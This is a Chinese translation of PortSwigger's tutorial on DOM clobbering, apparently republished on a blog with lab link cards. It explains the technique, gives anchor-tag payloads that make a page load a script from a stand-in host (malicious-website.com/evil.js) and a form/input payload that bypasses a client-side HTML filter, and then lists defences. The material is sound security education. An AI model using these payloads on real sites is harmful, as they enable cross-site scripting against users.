DOM clobbering
翻译
原文:https://portswigger.net/web-security/dom-based/dom-clobbering
- name: 翻译
desc: 原文:https://portswigger.net/web-security/dom-based/dom-clobbering
bgColor: '#F0DFB1'
textColor: 'green'
2
3
4
# DOM clobbering
在本节中,我们将描述什么是 DOM clobbering,演示如何使用 clobbering 技术来利用 DOM 漏洞,并提供一些减少 DOM clobbering 攻击的建议和方法。
# 1DOM clobbering是什么?
DOM clobbering 是一种将 HTML 注入到网页中,以操纵 DOM 并最终改变页面上 JavaScript 行为的技术。DOM clobbering 在无法利用 XSS 的情况下特别有用,你可以在属性id
或name
被 HTML 过滤器列入白名单的页面上控制某些 HTML。最常见的 DOM clobbering 形式是使用锚元素来覆盖全局变量,然后应用程序以不安全的方式使用该变量,例如生成动态 URL 脚本。
术语 clobbering 来自这样一个事实,即你正在 “覆盖” 对象的全局变量或属性,并使用 DOM 节点或 HTML 集合来覆盖它。例如,你可以使用 DOM 对象覆盖其他 JavaScript 对象,并利用不安全的名称(如submit
)来干扰表单中的真实submit()
函数。
# 2如何利用DOM clobbering漏洞
JavaScript 开发人员使用的一个常见模式是:
var someObject = window.someObject || {};
如果你可以控制页面上的某些 HTML,则可以使用 DOM 节点(如锚点)来覆盖someObject
引用。请考虑以下代码:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
2
3
4
5
6
7
8
要利用此易受攻击的代码,你可以注入以下 HTML 以使用锚元素来覆盖someObject
引用:
<a id=someObject><a id=someObject name=url href=//malicious-website.com/evil.js>
由于这两个锚点使用了相同的 ID,因此 DOM 将它们分组在一个 DOM 集合中。随后,DOM clobbering 向量会使用这个 DOM 集合来覆盖someObject
引用。在最后一个锚点元素上使用name
属性,以便覆盖指向外部脚本的someObject
对象中的url
属性。
- name: 实验室-专家
desc: 利用DOM clobbering造成XSS >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
另一种常见的技术是,将form
元素与诸如input
之类的元素结合使用,以清除 DOM 属性。例如,通过覆盖attributes
属性,可以绕过使用了该属性的客户端过滤器。尽管过滤器会枚举attributes
属性,但它实际上不会清除任何内容,因为该属性已被 DOM 节点覆盖。因此,一些通常会被过滤掉的恶意属性,此时你将能够将其注入。例如,考虑以下注入:
<form onclick=alert(1)><input id=attributes>Click me
在这种情况下,客户端过滤器将遍历 DOM,直到遇到一个被列入白名单的form
元素。通常,过滤器会遍历form
元素的attributes
属性,并删除任何列入黑名单的属性值。但是,由于attributes
属性已经被input
元素覆盖,因此过滤器将改为遍历input
元素。由于input
元素的长度未被定义,因此不满足过滤器的for
循环条件(例如i<element.attributes.length
),过滤器只是简单的移动到下一个元素。这导致过滤器完全忽略了onclick
事件,随后允许在浏览器中调用alert()
函数。
- name: 实验室-专家
desc: 覆盖DOM属性以绕过HTML过滤器 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-clobbering-attributes-to-bypass-html-filters
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
# 3如何防范DOM clobbering攻击
用最简单的话来说,你可以通过实现检查功能来防止 DOM clobbering 攻击,以确保对象或函数符合你的预期。例如,你可以检查 DOM 节点的attributes
属性是否是NamedNodeMap
的实例。这可以确保当前属性确实是一个attributes
属性,而不是一个被覆盖的 HTML 元素。
此外,在编写代码时,你还应避免将逻辑 OR 运算符||
和全局变量结合使用,因为这可能会导致 DOM clobbering 漏洞。
总结:
- 检查对象和函数是否合法。如果你想过滤 DOM,请确保被检查的对象或函数不是一个 DOM 节点。
- 避免错误的代码格式。应避免将全局变量与逻辑 OR 运算符结合使用。
- 使用经过良好测试的库,例如 DOMPurify,该库可解决 DOM clobbering 漏洞。